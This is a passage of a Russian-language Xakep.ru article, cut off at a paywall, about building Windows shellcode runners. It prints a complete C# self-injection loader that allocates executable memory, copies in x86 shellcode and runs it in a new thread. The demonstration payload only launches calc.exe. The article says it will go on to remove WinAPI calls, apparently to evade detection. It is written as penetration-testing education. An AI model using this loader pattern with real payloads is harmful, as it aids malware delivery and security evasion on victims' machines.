Содержание статьи
warning
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
Что представляет собой стандартный шелл‑код‑раннер? В принципе, ничего особенного в нем нет. Алгоритм прост как валенок:
- Сгенерировать, написать или где‑то позаимствовать нужный шелл‑код. Для этого часто используют готовые фреймворки вроде Metasploit.
- Выделить память под шелл‑код. Здесь чаще всего обращаются к функции
VirtualAlloc(
или низкоуровневым аналогам, например) NtAllocateVirtualMemory(
.) - Если на пункте 2 память была выделена без бита executable, то поставить этот бит на память. Тут дергают
VirtualProtect(
или) NtProtectVirtualMemory(
.) - Скопировать шелл‑код в память. В случае С++ программы обращаются к
memcpy(
, а в случае C# можно рассмотреть) Marshal.
.Copy( ) - Передать поток управления по адресу шелл‑кода. Реализуется, например, через создание нового потока внутри
CreateThread(
.) - Успех!
Таким образом, стандартный шелл‑код‑раннер выглядит вот так.
using System;using System.Runtime.InteropServices;namespace ConsoleApp1{ class Program { [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); [DllImport("kernel32.dll")] static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); static void Main(string[] args) { byte[] x86shc = new byte[193] { 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30, 0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff, 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52, 0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1, 0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b, 0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03, 0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b, 0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24, 0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb, 0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f, 0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5, 0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a, 0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 }; int size = x86shc.Length; IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40); Marshal.Copy(x86shc, 0, addr, size); IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero); WaitForSingleObject(hThread, 0xFFFFFFFF); } }}
Обрати внимание, что в конце идет вызов WaitForSingleObject(
. Он здесь не просто так. Наша программа делает self-injection (внедрение шелл‑кода в адресное пространство текущего процесса). Запуск шелл‑кода происходит в функции CreateThread(
. Если бы после этой функции ничего не было, то программа приостановила бы выполнение и завершилась. Как следствие, наш шелл‑код перестанет выполняться.
Поэтому вызов функции WaitForSingleObject(
предотвращает преждевременное закрытие программы. Наша основная программа будет послушно ожидать успешного исполнения шелл‑кода.
Итак, запускаем код и видим, что все стабильно работает.
Теперь давай попробуем изменить программу так, чтобы избавиться от всех функций WinAPI. В качестве шелл‑кода, как ты понял, используем стандартный запуск калькулятора. Архитектура — х86.
Синхронизация через Sleep
Начнем с самого простого — выбросим функцию WaitForSingleObject(
. Ее последним аргументом было значение 0xFFFFFFFF
, что равносильно константе INFINITE
в C++.
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»